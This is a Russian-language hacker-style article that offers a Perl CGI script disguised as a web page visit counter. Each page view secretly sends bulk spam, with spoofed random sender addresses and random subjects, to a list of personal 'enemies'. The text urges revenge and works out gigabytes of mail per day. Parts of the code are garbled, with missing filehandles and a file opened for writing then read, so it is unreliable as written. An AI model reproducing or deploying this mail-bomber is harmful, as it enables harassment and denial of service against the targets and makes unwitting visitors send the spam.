Скажи, тебя когда-нибудь обижали? Ну к примеру, какой-нибудь придурок писал разные гадости тебе на мыло? Не писал, да? Тогда тебе просто повезло и ты можешь дальше не читать, ибо эта статья — не для тебя. Итак, есть тот, кому ты очень хочешь отомстить. Наверное тебе приходит в голову мысль просто засыпать его e-mail гнусным спамом… Но вот беда ты слишком ленив, чтобы ежедневно слать ему сотни мегабайт мусора… Да и из модема много не выжмешь… Что ж подойдем к проблеме с другой стороны — у тебя есть пага? Ну конечно же есть — ведь ты продвинутый перец… И ты, наверное, поставил на ней счетчик, чтобы знать сколько людей приходит на нее посмотреть. Скажи, я что умеет твой счетчик? Что, только количество посещений считать!?!? И что больше ничего? А что будет если его заменить на «Счетчик-Бомбер»? Тогда каждый, кто заходит на твою пагу, будет отправлять спам твоим врагам, абсолютно не зная об этом… Предположим:
- А) у тебя на паге будет счетчик всего из пяти цифр;
- Б) посещаемость твоей паги — 100 человек в день;
- B) у тебя трое врагов;
Итого: В результате того, что пагу посетит 100 человек, твой «счетчик», будет запущен 500 раз и отправит 1500 писем твоим врагам. А теперь представь, что каждое письмо мы сделаем в мегабайт величиной… получается 1,5 ГИГАБАЙТА спама В ДЕНЬ, или по 500 мегабайт на каждого недруга… А ты даже и пальцем не пошевелил… Классно, да? Тогда, меняй скорее свой счетчик на мой «счетчик-бомбер» и читай дальше как им пользоваться…
#!/usr/bin/perl
$mailprog = '/usr/sbin/sendmail';
$digits_basedir = "http://www.твоя_пага.ru/digits/";
$count_file = "count.txt";
$classica = "classics.txt";
$targets = "targets.txt";
$emails = "emails.txt";
$results = "results.txt";
($place, $Write) = split(/\&/,$ENV{QUERY_STRING});
open (COUNT,"$count_file") ||
die "Can't Open Count File $count_file, Error : $!\n";
($count) = ;
chomp($count);
close(COUNT);
$count++;
open (COUNT,">$count_file") ||
die "Can't Open Count File $count_file, Error : $!\n";
print COUNT "$count";
close(COUNT);
$count = "0000000000".$count;
@chiffres = split(//, $count);
@chiffres = reverse(@chiffres);
print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n";
open (COUNT,">$count_file") ||
die "Can't Write Count File $count_file, Error : $!\n";
($count2) = ;
chomp($count);
close(COUNT);
open (CLASSICS, "$classica") ||
die "Can't open CLASSICS File $classica, Error : $!\n";
(@classics) = ;
$total = @classics;
while (($count2) > ($total)){
$count2 = $count2 — $total;
}
$subject = $classics[$count2];
chomp ($subject);
close CLASSICS;
open (EMAILS, "$emails") ||
die "Can't open EMAILS File $emails, Error : $!\n";
(@emails) = ;
$total2 = @emails;
while (($count2) > ($total2)){
$count2 = $count2 — $total2;
}
$from = $emails[$count2];
chomp ($from);
close EMAILS;
open (RESULTS, "$results") ||
die "Can't Open RESULTS File $results, Error : $!\n";
($count3) = ;
chomp($count3);
close(RESULTS);
open (TARGETS, "$targets") ||
die "Can't Open TARGETS File $targets, Error : $!\n";
while (){
($target) = ;
chomp ($target);
open (MAIL, "|$mailprog -t");
print MAIL "Content-Type: text/plain\n";
print MAIL "Subject: $subject\n";
print MAIL "To: $target\n";
print MAIL "From: $from\n\n";
print MAIL "На козел, покушай классики!!!\n\n";
print MAIL "@classics\n";
close MAIL;
$count3++;
}
open (RESULTS,">$results") ||
die "Can't Write RESULTS File $results, Error : $!\n";
print RESULTS "$count3";
close RESULTS;
Coded by: CoolHacker
Уже заменил? Ну что ж теперь не грех рассказать как он действует… В папке со скриптом у тебя должно быть пять файлов:
- Count.txt — тот файл, куда будут записываться показания счетчика (кол-во посещений);
- Classics.txt — тот файл, откуда будет браться текст для писем (у меня это глава из «Капитанской дочки» А.С. Пушкина), из этого файла также случайным образом будет генерироваться заголовок сообщения;
- Targets.txt — Список «вражеских» e-mail`ов (каждый адрес с новой строки);
- Emails.txt — из этого файла будет случайным образом выбираться адрес отправителя письма, поэтому это должен быть список e-mail`ов, где каждый адрес написан с новой строки;
- Results.txt — Служебный файл, куда будет записываться количество отправленных писем (чтобы душа смотрела и радовалась);
Итак, посетитель заходит на страницу, в результате чего счетчик запускается столько раз, сколько цифр ты указал для отображения. При каждом запуске, он отправляет по одному письму каждому из врагов, адреса которых находятся в targets.txt (письма не простые, а со случайным адресом отправителя и случайной темой). Текст письма берется из classics.txt — поэтому советую напихать туда побольше текста… Ну а теперь как пользоваться счетчиком — именно как счетчиком… Тебе понадобятся цифры для самого счетчика — их можно взять на моем сайте. Для того, чтобы пользоваться счетчиком по прямому назначению, нужно вставить в свою пагу следующий код:
В результате будет выдан счетчик из трех цифр, как поставить больше цифр — догадайся сам ;-)) Этот счетчик будет показать количество посещений твоей паги… Теперь нам нужен счетчик служебный который будет показывать количество отправленных писем:
#!/usr/bin/perl
$file = "results.txt";
$digits_basedir = "http://www.твоя_пага.ru/digits/";
($place, $Write) = split(/\&/,$ENV{QUERY_STRING});
open (COUNT, "$file") ||
die "Can't Open Count File $file, Error : $!\n";
($count) = ;
chomp($count);
close(COUNT);
$count = "0000000000".$count;
@chiffres = split(//, $count);
@chiffres = reverse(@chiffres);
print "Location: ".$digits_basedir.$chiffres[$place].".gif\n\n";
Вызвать служебный счетчик можно аналогично первому,
за исключением параметра «&W».